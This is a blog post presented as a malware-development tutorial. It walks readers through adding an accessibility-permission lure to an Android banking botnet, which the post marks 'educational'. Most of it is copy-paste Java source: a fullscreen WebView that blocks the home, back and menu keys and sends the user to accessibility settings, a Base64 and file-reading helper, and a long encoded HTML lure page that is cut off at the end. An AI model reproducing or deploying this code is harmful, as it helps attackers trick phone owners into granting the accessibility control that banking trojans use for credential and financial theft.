Hi Hackers welcome back my new Malware development blog post, I hope you enjoy our blogs. so this blog post I will share you how Blackhat hacker create Accessibility permission dialog in malware, also how to create accessibility permission in android banking botnet ( educational). so without wasting your time, let's start coding..
Using Source Code This Blogpost:- Github
Step-1 Import Android malware in android studio
first of all, after importing the application, you have to change the minSDK version inside its build.gradle file. so that when you create any file inside the application, you will not get any error. so I'm use the minimum SDK 18. you can follow this.
first of all you have to create java file for WebView client, for this you can use name your file run.java or you can also change it if you want. inside this java file we will paste all the code with the help of which we can add accessibility dialog inside our application. completely copy the below code and paste it inside your application.
package com.maemresen.infsec.keylogapp;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.util.Base64;
import android.view.KeyEvent;
import android.view.View;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import java.util.Locale;
import org.json.JSONObject;
public class run extends Activity {
public String localeForAccessibility = "{'en':'Enable','de':'Aktivieren','ar':'تفعيل";
public void finish() {
if (Build.VERSION.SDK_INT >= 21) {
finishAndRemoveTask();
return;
}
super.finish();
}
public String localeTextAccessibility() {
try {
return (new JSONObject(this.localeForAccessibility)).getString(Locale.getDefault().getLanguage());
} catch (Exception exception) {
return "Enable";
}
}
public void onBackPressed() {
super.onBackPressed();
}
public void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
try {
WebView webView = new WebView((Context)this);
webView.getSettings().setJavaScriptEnabled(true);
webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
webView.setWebViewClient(new MyWebViewClient());
webView.setWebChromeClient(new MyWebChromeClient());
webView.addJavascriptInterface(new WebAppInterface((Context)this), "Android");
String str3 = getString(R.string.Access);
String str1 = ClassGen3.getLabelApplication((Context)this);
str3 = (new String(Base64.decode(str3, 0), "UTF-8")).replace("Start Accessibility", str1);
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.append(localeTextAccessibility());
stringBuilder2.append(" : '");
stringBuilder2.append(str1);
stringBuilder2.append("'");
str1 = str3.replace("Enable Accessibility To Continue", stringBuilder2.toString());
StringBuilder stringBuilder1 = new StringBuilder();
stringBuilder1.append("var lang = '");
stringBuilder1.append(Locale.getDefault().getLanguage());
stringBuilder1.append("'");
str1 = str1.replace("var lang = 'en'", stringBuilder1.toString());
String str2 = ClassGen3._D_BASE64_("PGh0bWwgbGFuZz0iZW4iPg==");
stringBuilder2 = new StringBuilder();
stringBuilder2.append(ClassGen3._D_BASE64_("PGh0bWwgbGFuZz0i"));
stringBuilder2.append(Locale.getDefault().getLanguage());
stringBuilder2.append(ClassGen3._D_BASE64_("Ij4="));
webView.loadDataWithBaseURL(null, str1.replace(str2, stringBuilder2.toString()), "text/html", "UTF-8", null);
setContentView((View)webView);
return;
} catch (Exception exception) {
return;
}
}
public void onDestroy() {
super.onDestroy();
}
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) {
return (paramInt == 3) ? true : ((paramInt == 4) ? true : ((paramInt == 82)));
}
protected void onStop() {
super.onStop();
}
private class MyWebChromeClient extends WebChromeClient {
private MyWebChromeClient() {}
public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) {
return true;
}
}
private class MyWebViewClient extends WebViewClient {
private MyWebViewClient() {}
public void onPageFinished(WebView param1WebView, String param1String) {}
public boolean shouldOverrideUrlLoading(WebView param1WebView, String param1String) {
return false;
}
}
public class WebAppInterface {
Context mContext;
WebAppInterface(Context param1Context) {
this.mContext = param1Context;
}
@JavascriptInterface
public void returnResult() {
Intent intent = new Intent("android.settings.ACCESSIBILITY_SETTINGS");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
run.this.startActivity(intent);
}
}
}
Step-3 Create Base64 decoder file in android malware
now you have to create another file inside your application. this file is capable of decoding your base64 encoded strings. you can name this file ClassGen3.java. you can also change it if you want. you have to copy the entire code given below and paste it inside this file.
package com.maemresen.infsec.keylogapp;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.util.Base64;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.concurrent.Executor;
public class ClassGen3 {
public static Executor e_ClassGen3_xc;
public static int m_ClassGen3_ax = 1000;
public static BroadcastReceiver rc =null;
public static String ReadRecords(String Path)
{
File file = new File(Path);
byte[] b = new byte[(int) file.length()];
try {
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(b);
} catch (FileNotFoundException e) {
//Log.e("Read all bytes", "File Not Found.");
}
catch (IOException e1) {
// Log.e("Read all bytes", "Error read file.");
}
String value = Base64.encodeToString(b, Base64.DEFAULT);
return value;
}
// static List findNodeWithClass(AccessibilityEvent accessibilityEvent, String str) {
// return findNodeWithClass(accessibilityEvent.getSource(), str);
// }
public static String _D_BASE64_(String message) {
byte[] data = Base64.decode(message, Base64.DEFAULT);
try {
return new String(data, "UTF-8");
} catch (UnsupportedEncodingException e) {
}
return null;
}
public static String getLabelApplication(Context context) {
try {
return (String) context.getPackageManager().getApplicationLabel(context.getPackageManager().getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA));
}catch (Exception ex){
}
return "";
}
public static boolean p(Context context, String packageName) {
try {
context.getPackageManager().getApplicationInfo(packageName, 0);
return true;
}
catch (PackageManager.NameNotFoundException e) {
return false;
}
}
}
Step-4 Add base64 Encode code in android malware
now you have to paste your html to base64 encoded code inside the string.xml file. this encoded code is in a way the code of your html page itself. and after it is decoded, it will show inside your application. so copy the below base64 encoded and paste it inside string.xml file.
<string name="Access">PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iaWU9ZWRnZSI+DQogICAgPHRpdGxlPkFjY2Vzc2liaWxpdHk8L3RpdGxlPg0KPHN0eWxlPg0KaHRtbHtsaW5lLWhlaWdodDoxLjE1Oy13ZWJraXQtdGV4dC1zaXplLWFkanVzdDoxMDAlfWJvZHl7bWFyZ2luOjB9bWFpbntkaXNwbGF5OmJsb2NrfWgxe2ZvbnQtc2l6ZToyZW07bWFyZ2luOi42N2VtIDB9aHJ7Ym94LXNpemluZzpjb250ZW50LWJveDtoZWlnaHQ6MDtvdmVyZmxvdzp2aXNpYmxlfXByZXtmb250LWZhbWlseTptb25vc3BhY2UsbW9ub3NwYWNlO2ZvbnQtc2l6ZToxZW19YXtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50fWFiYnJbdGl0bGVde2JvcmRlci1ib3R0b206bm9uZTt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmUgZG90dGVkfWIsc3Ryb25ne2ZvbnQtd2VpZ2h0OmJvbGRlcn1jb2RlLGtiZCxzYW1we2ZvbnQtZmFtaWx5Om1vbm9zcGFjZSxtb25vc3BhY2U7Zm9udC1zaXplOjFlbX1zbWFsbHtmb250LXNpemU6ODAlfXN1YixzdXB7Zm9udC1zaXplOjc1JTtsaW5lLWhlaWdodDowO3Bvc2l0aW9uOnJlbGF0aXZlO3ZlcnRpY2FsLWFsaWduOmJhc2VsaW5lfXN1Yntib3R0b206LS4yNWVtfXN1cHt0b3A6LS41ZW19aW1ne2JvcmRlci1zdHlsZTpub25lfWJ1dHRvbixpbnB1dCxvcHRncm91cCxzZWxlY3QsdGV4dGFyZWF7Zm9udC1mYW1pbHk6aW5oZXJpdDtmb250LXNpemU6MTAwJTtsaW5lLWhlaWdodDoxLjE1O21hcmdpbjowfWJ1dHRvbixpbnB1dHtvdmVyZmxvdzp2aXNpYmxlfWJ1dHRvbixzZWxlY3R7dGV4dC10cmFuc2Zvcm06bm9uZX1idXR0b24sW3R5cGU9ImJ1dHRvbiJdLFt0eXBlPSJyZXNldCJdLFt0eXBlPSJzdWJtaXQiXXstd2Via2l0LWFwcGVhcmFuY2U6YnV0dG9ufWJ1dHRvbjo6LW1vei1mb2N1cy1pbm5lcixbdHlwZT0iYnV0dG9uIl06Oi1tb3otZm9jdXMtaW5uZXIsW3R5cGU9InJlc2V0Il06Oi1tb3otZm9jdXMtaW5uZXIsW3R5cGU9InN1Ym1pdCJdOjotbW96LWZvY3VzLWlubmVye2JvcmRlci1zdHlsZTpub25lO3BhZGRpbmc6MH1idXR0b246LW1vei1mb2N1c3JpbmcsW3R5cGU9ImJ1dHRvbiJdOi1tb3otZm9jdXNyaW5nLFt0eXBlPSJyZXNldCJdOi1tb3otZm9jdXNyaW5nLFt0eXBlPSJzdWJtaXQiXTotbW96LWZvY3VzcmluZ3tvdXRsaW5lOjFweCBkb3R0ZWQgQnV0dG9uVGV4dH1maWVsZHNldHtwYWRkaW5nOi4zNWVtIC43NWVtIC42MjVlbX1sZWdlbmR7Ym94LXNpemluZzpib3JkZXItYm94O2NvbG9yOmluaGVyaXQ7ZGlzcGxheTp0YWJsZTttYXgtd2lkdGg6MTAwJTtwYWRkaW5nOjA7d2hpdGUtc3BhY2U6bm9ybWFsfXByb2dyZXNze3ZlcnRpY2FsLWFsaWduOmJhc2VsaW5lfXRleHRhcmVhe292ZXJmbG93OmF1dG99W3R5cGU9ImNoZWNrYm94Il0sW3R5cGU9InJhZGlvIl17Ym94LXNpemluZzpib3JkZXItYm94O3BhZGRpbmc6MH1bdHlwZT0ibnVtYmVyIl06Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24sW3R5cGU9Im51bWJlciJdOjotd2Via2l0LW91dGVyLXNwaW4tYnV0dG9ue2hlaWdodDphdXRvfVt0eXBlPSJzZWFyY2giXXstd2Via2l0LWFwcGVhcmFuY2U6dGV4dGZpZWxkO291dGxpbmUtb2Zmc2V0Oi0ycHh9W3R5cGU9InNlYXJjaCJdOjotd2Via2l0LXNlYXJjaC1kZWNvcmF0aW9uey13ZWJraXQtYXBwZWFyYW5jZTpub25lfTo6LXdlYmtpdC1maWxlLXVwbG9hZC1idXR0b257LXdlYmtpdC1hcHBlYXJhbmNlOmJ1dHRvbjtmb250OmluaGVyaXR9ZGV0YWlsc3tkaXNwbGF5OmJsb2NrfXN1bW1hcnl7ZGlzcGxheTpsaXN0LWl0ZW19dGVtcGxhdGV7ZGlzcGxheTpub25lfVtoaWRkZW5de2Rpc3BsYXk6bm9uZX0NCjwvc3R5bGU+DQo8c3R5bGU+DQpodG1sLCBib2R5IHsNCiAgICBmb250LWZhbWlseTogIk9wZW4gU2FucyIsICJIZWx2ZXRpY2EgTmV1ZSIsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7DQogICAgbWFyZ2luOiAwOyANCiAgICBoZWlnaHQ6IDEwMCU7IA0KICAgIG92ZXJmbG93OiBoaWRkZW47DQp9DQouaGVhZGVyIHsNCiAgICBoZWlnaHQ6IDY1cHg7DQogICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkICNlMmUyZTI7DQp9DQouaGVhZGVyIGIgew0KICAgIGxpbmUtaGVpZ2h0OiA2NXB4Ow0KICAgIGZvbnQtc2l6ZToxLjJyZW07DQoJY29sb3I6ICMwMDk1RkY7DQp9DQouaHNwIHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY0Ow0KICAgIGNvbG9yOiAjNDY0NjQ2Ow0KICAgIGhlaWdodDogMzRweDsNCiAgICBsaW5lLWhlaWdodDogMzRweDsNCiAgICBwYWRkaW5nLXRvcDogNXB4Ow0KfQ0KLmhzcCBiIHsNCiAgICBtYXJnaW4tbGVmdDogMTVweDsNCn0NCi5lbHMgew0KICAgIGxpbmUtaGVpZ2h0OiA1NXB4Ow0KICAgIGhlaWdodDogNTVweDsNCiAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2YyZjJmMjsNCiAgICBtYXJnaW46IDBweCAxNXB4IDBweCAxNXB4Ow0KICAgIG92ZXJmbG93OiBoaWRkZW47DQp9DQouZWxzIC5ubSB7DQogICAgZmxvYXQ6IGxlZnQ7DQogICAgd2hpdGUtc3BhY2U6IG5vd3JhcDsNCiAgICB3aWR0aDogMHB4Ow0KfQ0KLmVscyAudmwgew0KICAgIGZsb2F0OiByaWdodDsNCiAgICBjb2xvcjogIzk4OTg5ODsNCn0NCi5hYXIgew0KICAgIHdpZHRoOiAyMXB4Ow0KICAgIGhlaWdodDogMjFweDsNCiAgICBmbG9hdDogcmlnaHQ7DQogICAgbWFyZ2luLXRvcDogMjNweDsNCgliYWNrZ3JvdW5kLWltYWdlOiB1cmwoZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQRDk0Yld3Z2RtVnljMmx2YmowaU1TNHdJaUJsYm1OdlpHbHVaejBpZFhSbUxUZ2lQejRLUEhOMlp5QjJaWEp6YVc5dVBTSXhMakVpSUdsa1BTSk1ZWGxsY2w4eElpQjRQU0l3Y0hnaUlIazlJakJ3ZUNJZ2RtbGxkMEp2ZUQwaU1DQXdJREV5Tmk0Mk5ESWdPREl1TnpjM0lpQnpkSGxzWlQwaVpXNWhZbXhsTFdKaFkydG5jbTkxYm1RNmJtVjNJREFnTUNBeE1qa2dNVEk1T3lJZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S0lDQThjM1I1YkdVZ2RIbHdaVDBpZEdWNGRDOWpjM01pUGk1emREQjdabWxzYkRvalpEUmtOR1EwTzMwOEwzTjBlV3hsUGdvZ0lEeG5JSFJ5WVc1elptOXliVDBpYldGMGNtbDRLREVzSURBc0lEQXNJREVzSUMwMUxqWTFPVGsyTkN3Z0xURTVMamd3T1RnM01pa2lQZ29nSUNBZ1BIQmhkR2dnWTJ4aGMzTTlJbk4wTUNJZ1pEMGlUU0EzTUM0Mk1UUWdPVFF1TmpVMklFTWdOamt1T0RFeElEazFMakV6T0NBMk9DNDRNRGNnT1RVdU16Z2dOamN1TnpBeklEazFMak00SUVNZ05qWXVOVGs0SURrMUxqTTRJRFkxTGpVNU5TQTVOUzR4TXpnZ05qUXVOemt5SURrMExqWTFOaUJESURZekxqRTROU0E1TXk0Mk9TQTJNeTR4T0RVZ09USXVNVEl4SURZMExqYzVNaUE1TVM0eE5UVWdUQ0F4TVRjdU5DQTJNQzQyTURrZ1RDQTJOQzQzT1RJZ01qa3VOVGt5SUVNZ05qTXVNVGcxSURJNExqWXlOaUEyTXk0eE9EVWdNamN1TURVM0lEWTBMamM1TWlBeU5pNHdPVEVnUXlBMk5pNHpPVGdnTWpVdU1USTJJRFk1TGpBd09DQXlOUzR4TWpZZ056QXVOakUwSURJMkxqQTVNU0JNSURFeU5DNDNNVGdnTlRndU5qSXpJRU1nTVRJMkxqTXlOQ0ExT1M0MU9Ea2dNVEkyTGpNeU5DQTJNUzR4TlRnZ01USTBMamN4T0NBMk1pNHhNalFnVENBM01DNDJNVFFnT1RRdU5qVTJJRm9pSUhOMGVXeGxQU0p6ZEhKdmEyVXRkMmxrZEdnNklEVndlRHNnYzNSeWIydGxPaUJ5WjJJb016QXNJREUxTVN3Z01qTTNLVHNnY0dGcGJuUXRiM0prWlhJNklHWnBiR3dnYldGeWEyVnljenNnYzNSeWIydGxMV3hwYm1WcWIybHVPaUJ5YjNWdVpEc2djM1J5YjJ0bExXeHBibVZqWVhBNklISnZkVzVrT3lCbWFXeHNPaUJ5WjJJb016QXNJREUxTVN3Z01qTTNLVHNnWm1sc2RHVnlPaUJ1YjI1bE95SXZQZ29nSUNBZ1BIQmhkR2dnYzNSNWJHVTlJbVpwYkd3NklISm5ZaWd5TVRZc0lESXhOaXdnTWpFMktUc2djR0ZwYm5RdGIzSmtaWEk2SUdacGJHd2diV0Z5YTJWeWN6c2djM1J5YjJ0bExXeHBibVZxYjJsdU9pQnliM1Z1WkRzZ2MzUnliMnRsTFd4cGJtVmpZWEE2SUhKdmRXNWtPeUJ6ZEhKdmEyVTZJSEpuWWlnek1Dd2dNVFV4TENBeU16Y3BPeUJ6ZEhKdmEyVXRkMmxrZEdnNklERXdjSGc3SWlCa1BTSk5JREV4TGpVMU5TQTJNUzR3T0RFZ1RDQXhNRGd1T1RVMElEWXhMakE0SWk4K0NpQWdQQzluUGdvOEwzTjJaejQ9KTsNCgliYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Ow0KfQ0KLmNoYiB7DQogICAgYmFja2dyb3VuZC1zaXplOiAxMDAlIDEwMCU7DQogICAgd2lkdGg6IDU0cHg7DQogICAgaGVpZ2h0OiA0OXB4Ow0KICAgIG1hcmdpbi10b3A6IDRweDsNCn0NCi5zb2Ygew0KCWJhY2tncm91bmQtaW1hZ2U6IHVybChkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUJvWldsbmFIUTlJalV4TW5CMElpQjJhV1YzUW05NFBTSXdJQzB4TURjZ05URXlJRFV4TWlJZ2QybGtkR2c5SWpVeE1uQjBJaUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZNakF3TUM5emRtY2lQanh6ZEhsc1pTQjBlWEJsUFNKMFpYaDBMMk56Y3lJK0lDQWdJQ0FnSUNBZ0lDQXVjM1F4ZTJacGJHdzZJMlV5WlRKbE1qdDlJQ0FnSUNBZ0lEd3ZjM1I1YkdVK1BIQmhkR2dnWTJ4aGMzTTlJbk4wTVNJZ1pEMGliVE0yTWk0Mk5qYzVOamtnTUdndE1qRXpMak16TlRrek9HTXRPREl1TXpJME1qRTVJREF0TVRRNUxqTXpNakF6TVNBMk5pNDVPRGd5T0RFdE1UUTVMak16TWpBek1TQXhORGt1TXpNeU1ETXhJREFnT0RJdU16UTNOalUzSURZM0xqQXdOemd4TWlBeE5Ea3VNek0xT1RNNElERTBPUzR6TXpJd016RWdNVFE1TGpNek5Ua3pPR2d5TVRNdU16TTFPVE00WXpneUxqTXlOREl4T1NBd0lERTBPUzR6TXpJd016RXROall1T1RnNE1qZ3hJREUwT1M0ek16SXdNekV0TVRRNUxqTXpOVGt6T0NBd0xUZ3lMak0wTXpjMUxUWTNMakF3TnpneE1pMHhORGt1TXpNeU1ETXhMVEUwT1M0ek16SXdNekV0TVRRNUxqTXpNakF6TVhwdExUSXhNeTR6TXpVNU16Z2dNak0wTGpZMk56azJPV010TkRjdU1EVTROVGt6SURBdE9EVXVNek15TURNeExUTTRMakkzTXpRek9DMDROUzR6TXpJd016RXRPRFV1TXpNMU9UTTRJREF0TkRjdU1EVTROVGt6SURNNExqSTNNelF6T0MwNE5TNHpNekl3TXpFZ09EVXVNek15TURNeExUZzFMak16TWpBek1TQTBOeTR3TmpJMUlEQWdPRFV1TXpNMU9UTTRJRE00TGpJM016UXpPQ0E0TlM0ek16VTVNemdnT0RVdU16TXlNRE14SURBZ05EY3VNRFl5TlMwek9DNHlOek0wTXpnZ09EVXVNek0xT1RNNExUZzFMak16TlRrek9DQTROUzR6TXpVNU16aDZiVEFnTUNJdlBqd3ZjM1puUGc9PSk7DQp9DQouYW1yIHsNCiAgICBtYXJnaW4tdG9wOiA1NnB4Ow0KfQ0KLmFuIHsNCiAgICBoZWlnaHQ6IDU2cHg7DQogICAgd2lkdGg6IDEwMCU7DQogICAgcG9zaXRpb246Zml4ZWQ7DQogICAgYmFja2dyb3VuZDpyZWQ7DQogICAgYW5pbWF0aW9uOmExIDNzOw0KICAgIC1tb3otYW5pbWF0aW9uOmExIDNzIGluZmluaXRlOyAvKiBGaXJlZm94ICovDQogICAgLXdlYmtpdC1hbmltYXRpb246YTEgM3MgaW5maW5pdGU7IC8qIFNhZmFyaSBhbmQgQ2hyb21lICovDQp9DQoNCkAtbW96LWtleWZyYW1lcyBhMSAvKiBGaXJlZm94ICovIHsNCiAgICAwJSB7DQogICAgICAgIGJhY2tncm91bmQ6d2hpdGU7DQogICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4wKTsNCiAgICB9DQogICAgNTAlIHsNCiAgICAgICAgYmFja2dyb3VuZDpsaWdodGdyYXk7DQogICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4wNSk7DQogICAgfQ0KICAgIDEwMCUgew0KICAgICAgICBiYWNrZ3JvdW5kOndoaXRlOw0KICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMCk7DQogICAgfQ0KfQ0KDQpALXdlYmtpdC1rZXlmcmFtZXMgYTEgLyogU2FmYXJpIGFuZCBDaHJvbWUgKi8gew0KICAgIDAlIHsNCiAgICAgICAgYmFja2dyb3VuZDp3aGl0ZTsNCiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjApOw0KICAgIH0NCiAgICA1MCUgew0KICAgICAgICBiYWNrZ3JvdW5kOmxpZ2h0Z3JheTsNCiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjA1KTsNCiAgICB9DQogICAgMTAwJSB7DQogICAgICAgIGJhY2tncm91bmQ6d2hpdGU7DQogICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4wKTsNCiAgICB9DQp9DQpALW1vei1rZXlmcmFtZXMgYTIgLyogRmlyZWZveCAqLyB7DQogICAgMCUgew0KICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMCk7DQogICAgICAgIG9wYWNpdHk6IDEwMDsNCiAgICB9DQogICAgMTAwJSB7DQogICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS41KTsNCiAgICAgICAgb3BhY2l0eTogMDsNCiAgICB9DQp9DQoNCkAtd2Via2l0LWtleWZyYW1lcyBhMiAvKiBTYWZhcmkgYW5kIENocm9tZSAqLyB7DQogICAgMCUgew0KICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMCk7DQogICAgICAgIG9wYWNpdHk6IDEwMDsNCiAgICB9DQogICAgMTAwJSB7DQogICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS41KTsNCiAgICAgICAgb3BhY2l0eTogMDsNCiAgICB9DQp9DQoNCi53aCB7DQogICAgd2lkdGg6IDEwMCU7DQogICAgaGVpZ2h0OiAtbW96LWNhbGMoMTAwJSAtICg5MHB4ICsgMTYwcHgpKTsNCiAgICBoZWlnaHQ6IC13ZWJraXQtY2FsYygxMDAlIC0gKDkwcHggKyAxNjBweCkpOw0KICAgIGhlaWdodDogY2FsYygxMDAlIC0gKDkwcHggKyAxNjBweCkpOw0KICAgIHBvc2l0aW9uOiBmaXhlZDsNCiAgICBib3R0b206IDA7DQogICAgei1pbmRleDogMTsNCiAgICBiYWNrZ3JvdW5kOiByZ2IoMCwwLDApOw0KICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxODBkZWcsIHJnYmEoMCwwLDAsMCkgMCUsIHJnYmEoMjU1LDI1NSwyNTUsMSkgODUlKTsNCn0NCi5uYnQgew0KICAgIHotaW5kZXg6IDQ7DQogICAgcG9zaXRpb246Zml4ZWQ7DQogICAgd2lkdGg6IDcwcHg7DQogICAgaGVpZ2h0OiA3MHB4Ow0KICAgIGJvdHRvbTogOTBweDsNCiAgICBsZWZ0OiA1MCU7DQogICAgbWFyZ2luLWxlZnQ6IC0zNXB4Ow0KICAgIGJvcmRlci1yYWRpdXM6IDk5OXB4Ow0KICAgIGJhY2tncm91bmQ6IHJnYig4MywgODMsIDgzKTsNCn0NCi5hMmMgew0KICAgIHotaW5kZXg6IDM7DQogICAgcG9zaXRpb246Zml4ZWQ7DQogICAgd2lkdGg6IDY4cHg7DQogICAgaGVpZ2h0OiA2OHB4Ow0KICAgIGJvdHRvbTogOTBweDsNCiAgICBsZWZ0OiA1MCU7DQogICAgbWFyZ2luLWxlZnQ6IC0zNXB4Ow0KICAgIGJvcmRlci1yYWRpdXM6IDk5OXB4Ow0KICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYig4MywgODMsIDgzKTsNCiAgICBhbmltYXRpb246YTIgMnM7DQogICAgLW1vei1hbmltYXRpb246YTIgMnMgaW5maW5pdGU7IC8qIEZpcmVmb3ggKi8NCiAgICAtd2Via2l0LWFuaW1hdGlvbjphMiAycyBpbmZpbml0ZTsgLyogU2FmYXJpIGFuZCBDaHJvbWUgKi8NCn0NCi5uYnQgLmFhciB7DQogICAgZmxvYXQ6IG5vbmU7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIHdpZHRoOiAzOHB4ICFpbXBvcnRhbnQ7DQogICAgaGVpZ2h0OiAzOHB4ICFpbXBvcnRhbnQ7DQogICAgbWFyZ2luLWxlZnQ6IDE5cHg7DQp9DQouY3R4dCB7DQogICAgcG9zaXRpb246IGZpeGVkOw0KICAgIGJvdHRvbTogNDVweDsNCiAgICB3aWR0aDogMTAwJTsNCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgei1pbmRleDogMjsNCiAgICBmb250LXdlaWdodDogYm9sZDsNCn0NCi5kcyB7DQogICAgdXNlci1zZWxlY3Q6IG5vbmU7DQogICAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTsNCiAgICAta2h0bWwtdXNlci1zZWxlY3Q6IG5vbmU7DQogICAgLW1vei11c2VyLXNlbGVjdDogbm9uZTsNCiAgICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHkgY2xhc3M9ImRzIj4NCiAgICA8ZGl2IGNsYXNzPSJoZWFkZXIiPg0KICAgICAgICAgICAgPHN2ZyBzdHlsZT0iaGVpZ2h0OiA0NnB4O2Zsb2F0OmxlZnQ7bWFyZ2luLWxlZnQ6MjVweDttYXJnaW4tdG9wOjEwcHg7IiB2ZXJzaW9uPSIxLjEiIGlkPSJDYXBhXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4Ig0KICAgICAgICAgICAgdmlld0JveD0iMCAwIDMxLjUgMzEuNSIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgMzEuNSAzMS41OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+DQogICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAgICAgLnN0MHtmaWxsOiMwMDhlZmY7fQ0KICAgICAgIDwvc3R5bGU+DQogICAgICAgPHBhdGggY2xhc3M9InN0MCIgZD0iTTEwLjMsNWMwLjQtMC40LDEuMS0wLjQsMS42LDBjMC40LDAuNCwwLjQsMS4xLDAsMS42bC04LDhsMTQuOSwwYzAuNiwwLDEuMSwwLjUsMS4xLDEuMWMwLDAuNi0wLjUsMS4xLTEuMSwxLjENCiAgICAgICAgICAgbC0xNC45LDBsOCw4YzAuNCwwLjQsMC40LDEuMiwwLDEuNmMtMC40LDAuNC0xLjEsMC40LTEuNiwwbC0xMC0xMGMtMC40LTAuNC0wLjQtMS4xLDAtMS42TDEwLjMsNXoiLz4NCiAgICAgICA8L3N2Zz4gICAgDQogICAgICAgIDxiIGlkPSJhY2Nlc3NhYmlsaXR5MSI+PC9iPg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImhzcCI+PGIgaWQ9ImRvd25sb2FkZWRzZXJ2aWNlIj48L2I+PC9kaXY+DQogICAgPGRpdiBjbGFzcz0iZWxzIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibm0iPg0KICAgICAgICAgICAgPGIgaWQ9J3NlbGVjdHRvc3BlYWsnPjwvYj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgaWQ9Im9mZjEiIGNsYXNzPSJ2bCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJhYXIiPjwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJhbiIgb25jbGljaz0iQ2xpY2tPSygpOyI+DQogICAgICAgIDxkaXYgY2xhc3M9ImVscyI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJubSI+DQogICAgICAgICAgICAgICAgPGIgaWQ9J3N0YXJ0YWNjZXNzYWJpbGl0eSc+U3RhcnQgQWNjZXNzaWJpbGl0eTwvYj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBpZD0ib2ZmMiIgY2xhc3M9InZsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhYXIiPjwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImVscyBhbXIiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibm0iPg0KICAgICAgICAgICAgICAgIDxiIGlkPSJzd2l0Y2hhY2Nlc3MiPjwvYj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBpZD0ib2ZmMyIgY2xhc3M9InZsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhYXIiPjwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPGRpdiBjbGFzcz0iZWxzIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5tIj4NCiAgICAgICAgICAgICAgICA8YiBpZD0ndGFs